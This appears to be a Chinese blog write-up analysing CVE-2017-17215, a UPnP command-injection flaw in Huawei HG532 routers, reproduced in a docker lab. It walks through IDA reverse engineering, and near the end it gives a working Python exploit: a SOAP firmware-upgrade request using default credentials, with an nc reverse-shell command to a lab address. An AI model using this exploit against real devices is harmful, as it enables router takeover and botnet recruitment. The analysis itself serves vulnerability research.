漏洞分析:CVE-2017-17215

  华为HG532路由器的命令注入漏洞,存在于UPnP模块中。

漏洞分析

什么是UPnP?

  搭建好环境(使用IoT-vulhub的docker环境),启动环境,查看一下系统启动的服务和端口监听情况。

  漏洞点存在于UPnP模块中,关于upnp协议,其实现的功能大致如下:

  1.NAT 网关设备拥有一个公网 IP 地址(比如 10.59.116.19),内网中的主机(比如 192.168.1.101)想要与外界通信的话,NAT 网关设备可以为其做一个端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),这样,外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机,从而实现了内网中的主机与外部主机的通信;

  2.当内网的服务,需要被外网访问的时候,就需要做一个端口映射,把内网主机的端口映射到NAT网关设备的一个端口上去,这样访问网关设备的端口时候,实际上就是访问了内网主机的服务。但是当内网有多台主机需要向外提供服务的时候,就需要手动配置NAT网关设备的映射端口,确保这些内网服务不会映射到NAT网关设备的同一个端口上去,否则就会造成端口的冲突,这给用户造成了很多麻烦;

  3.UPnP 技术标准的出现就是为了解决这个问题,只要 NAT 设备(路由器)支持 UPnP,并开启。那么,当我们的主机(或主机上的应用程序)向 NAT 设备发出端口映射请求的时候,NAT 设备就可以自动为主机分配端口并进行端口映射。这样,我们的主机就能够像公网主机一样被网络中任何主机访问了。

  总的来说,upnp提供了一种外网到内网主机的访问机制,如果网关设备的upnp模块存在问题的话,从WAN口去攻击路由器等等网关设备就会比较容易。HG532这款设备,使用upnp来进行固件更新,在固件更新的过程中存在命令注入漏洞,最早是checkpoint发现被Mirai的变种OKIRU/SATORI利用来构建僵尸网络。

漏洞函数,你在哪里被调用?

  用IDA打开/bin/upnp文件,通过搜索system等命令执行函数的交叉引用,查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的,所以找到这个漏洞点并不困难,简单的搜索之后,就可以看到一个snprintf函数在传递参数的过程中,对参数没有做任何校验,然后snprintf读入的格式化字符串参数的地址被传递到了system函数中,system调用upg来进行固件更新,如果param1和param2两个参数可控的话,就可以在system中执行攻击者的命令。

  现在需要看一下ATP_XML_GetChildNodeByName函数,由于固件没有剥离符号表,所以通过函数名大致可以看出函数做了什么:

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
int flag; // $s1
int i; // $v0
int v9; // $s0
int NodeValue; // [sp+20h] [-8h] BYREF
int ret_NodeName; // [sp+24h] [-4h] BYREF flag = 0x40090000;
if ( NodeName )
{
for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
{ // 遍历xml节点
v9 = i;
if ( !i )
{
if ( param )
*param = 0;
return 0x40090004;
}
flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 获取xml节点的值
if ( flag )
{
if ( param )
*param = 0;
return flag;
}
if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
break;
}
if ( a3 )
*a3 = v9;
if ( param )
{
if ( NodeValue )
((void (*)(void))sub_408540)();
*param = NodeValue;
}
}
return flag;
}

  大胆猜测一下:通过遍历xml的节点,找到标签名和第二个参数一样的节点,然后把xml节点的值写入到第四个参数的地址处。这里比较坑的一点是,我找不到漏洞函数的交叉引用,也不知道怎么控制snprintf的参数。

  这里先在squashfs-root目录下找找"NewDownloadURL"和"NewStatusURL"这两个字符串:

  

  在upnp中查找DevUpg.xml字符串的交叉引用:

  查看ATP_UPNP_RegDeviceAndService函数,发现这个函数对ATP_UPnP_RegDevice函数和ATP_UPnP_RegService函数有大量的调用,猜测这个函数可能主要用于开启外网对内访问的服务。

  往下找一找,可以看到一个ATP_UPNP_RegAction函数,这个函数有两个参数:

  这个参数之前就作为ATP_UPnp_RegDevice的最后一个参数被传递进去过:

  我们之前说,ATP_UPnP_RegService这个函数可能是开启UPnP的服务,那ATP_UPNP_RegAction,很有可能就是要对开启的服务做一些操作,跟进看一看。

int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
int result; // $v0
int *v4; // $s0
char *funcname; // $s2
int v6; // $s1 if ( !service_id )
return 0x40090000;
result = 0x40090000;
if ( *(_DWORD *)(service_id + 48) )
{
v4 = *(int **)(service_id + 36);
if ( v4 )
{
funcname = g_astActionArray[4 * idx];
while ( 1 )
{
if ( (v4[1] & 0x40000000) != 0 )
{
v6 = *v4;
if ( !strcmp(*v4, funcname) )
break;
}
v4 = (int *)v4[4];
result = 0x40090000;
if ( !v4 )
return result;
}
ATP_UPNP_Free(v6);
v4[1] &= 0xBFFFFFFF;
*v4 = idx;
result = 0;
}
}
return result;
}

  这里的重点,在g_astActionArray这个全局变量,这个全局变量之前没有被识别出来,在IDA里面修改识别一下,发现别有洞天:

  这是一个虚表,aUpgrade和DeviceUpgrade(这个就是漏洞函数)分别是下标为0和1的函数名。这样看来,之前找不到对应漏洞函数的交叉引用也就有理可循了。

  再来看看这个虚表对应的交叉引用,看除了ATP_UPNP_RegAction这个函数之外,它还在哪里被调用了:

  UPnPGetActionByName会返回g_astActionArray中的函数指针:

  然后这个函数指针随后会被调用:

  做到这一步,我们现在可以再梳理一下逆向的工作了。

  我们之前首先通过搜索system函数交叉引用的办法,找到了漏洞点,但是没有找到漏洞函数的交叉引用,这是因为函数是通过虚表的方式,调用了函数指针。

  然后我们通过在固件中查找关键字符串的方式,确定了UPnP协议要解析的一个关键的xml文件:DevUpg.xml。我们又回到/bin/upnp中,查找这个文件名字符串的交叉引用,通过分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction这两个函数,在IDA里面找到并且正确识别了这个虚表。

  最后再通过查找虚函数其他的交叉引用,找到了函数指针被调用的地方,还原了整个漏洞函数执行的流程。

  那么现在还要关注哪些问题?

   我们现在还不知道,控制固件升级的消息格式,只有清楚了消息格式,我们才能结合之前找到的注入点注入命令。

  通过UPnP实现固件更新的过程,是通过一个Web接口来实现的,我们还要把这个接口给找出来。完成这两步,感觉这个漏洞挖掘的过程就被完整地还原出来了,开搞。

寻找Web接口

  在逆向的过程中,有这样一段代码:

  http_request是我重命名的一个变量,这个变量肯定是一个结构体指针,但是暂时没有办法还原这个结构体。UpnpGetServiceByUrl这个函数名也引起了我的注意(url这个变量也是我重命名的一个变量,根据函数名猜的),跟进到这个函数中看一看:

  这样一看,这个函数实现的功能其实也能猜个十之八九,g_pstUpnpGvarHead这个全局变量最开始是在ATP_UPNP_Init函数中被赋值;

  还有一个函数会以xml格式返回客户端错误:

  到这一步,我觉得继续静态分析的话,收获也不大了,登录到路由器后台找一找api,看看能不能抓包分析一下流量是唯一的出路。

  后台确实有固件升级的功能,但是在docker中好像不能用,我把tcpdump传到靶机中没有抓取到37215端口的流量,看了一下check point的漏洞公告和分析,尝试构造exp。

漏洞利用

  checkpoint文中提到是通过蜜罐捕获到了流量。

  通过UPnP协议控制固件升级的消息格式如上图所示,其中NewStatusURL和NewDownloadURL标签中的内容就是我们可控的命令注入点。通过nc反弹shell失败,wget传递msf的反弹shell还是稳......

  exp中需要进行http身份验证,否则就会报401错误。

import requests
from threading import Thread
from requests.auth import HTTPDigestAuth cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload) r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)

总结

  关于这个漏洞,感觉网上一些文章都是搭了环境,然后直接找一次命令注入点,根据漏洞公告给的信息打一次exp,少了一些细节。我在分析的过程中,加入了自己学习和研究的过程中的一些思路和想法,在这个过程中,我对于UPnP协议也有了一些了解,加深了对命令注入漏洞数据流的理解。

参考链接:

https://zhuanlan.zhihu.com/p/40407669

https://nosec.org/home/detail/4871.html

https://research.checkpoint.com/2017/good-zero-day-skiddie/

  

漏洞分析:CVE-2017-17215的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  5. Intel CPU 漏洞分析

    Intel CPU漏洞分析报告 预备知识 存储分级 由于计算机存储分级的特性(第一级:寄存器,第二级:高速缓存,第三级:内存,第四级:磁盘),每一级之间的访问速度差距高达数量级.所以处理器会将用到的数 ...

  6. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  7. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  8. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  9. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. 洛谷 P5785 [SDOI2012] 任务安排

    链接: P5785 弱化版:P2365 题意: 有 \(n\) 个任务待完成,每个任务有一个完成时间 \(t_i\) 和费用系数 \(f_i\),相邻的任务可以被分成一批.从零时刻开始这些任务会被机器 ...

  2. 20191310Lee_yellow缓冲区溢出实验

    缓冲区溢出实验 1.什么是缓冲区溢出 ​ 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据 ...

  3. Jetbrains 系 IDE 编辑器的代码提示功能

    著名的 Jetbrains 可谓编程界的一大福音,众多有名代码编辑器比如 ItelliJ IDEA.PHPStorm.WebStorm.PyCharm 等,均出自这家公司麾下. 对于中国的Java开发 ...

  4. java核心技术 第3章 java基本程序设计结构

    类名规范:以大写字母开头的名词 若由多个单词组成 每个单词的第一个字母应大写(驼峰命名法)  与.java文件名相同 运行程序:java ClassName(dos命令) 打印语句:System.ou ...

  5. Java测试开发--MySql之C3P0连接池(八)

    连接池C3P0! 连接池技术的目的:解决建立数据库连接耗费资源和时间很多的问题,提高性能 ! 下面以案例演示下C3P0的操作流程. 1.测试准备: ①MySql数据库一枚②database名为myte ...

  6. PTA 7-1 公路村村通 (30分)

    PTA 7-1 公路村村通 (30分) 现有村落间道路的统计数据表中,列出了有可能建设成标准公路的若干条道路的成本,求使每个村落都有公路连通所需要的最低成本. 输入格式: 输入数据包括城镇数目正整数N ...

  7. 用 Node.js 实现的最简单的 HTTP 服务器

    用 Node.js 实现的最简单的 HTTP 服务器 //app.js var http = require('http'); http.createServer(function(req, res) ...

  8. ESP32-S3 搭建 micropython 开发环境,固件编译,烧录

    简述 上手了一块乐鑫科技官方推出的ESP32-S3-DevKitC-1开发板,发现 ESP32-S3 的综合性能较比前两代有着非常明显的提升,wifi与蓝牙功能,更充足的外设扩展能力,可以看出其在未来 ...

  9. 通过小乌龟从本地主机删除远端svn服务器端的代码或图片文件

    先说解决方案,如果通过windows的右键删除,再次Commit还是会下拉下来,所以需要通过小乌龟的删除来删除这个文件,在删除的那个文件夹里再次提交即可. 图片 1. 选中要删除的文件 2. 右键通过 ...

  10. Java_map

    1 package Test; 2 3 import java.util.HashMap; 4 import java.util.Map; 5 6 public class MapTest { 7 p ...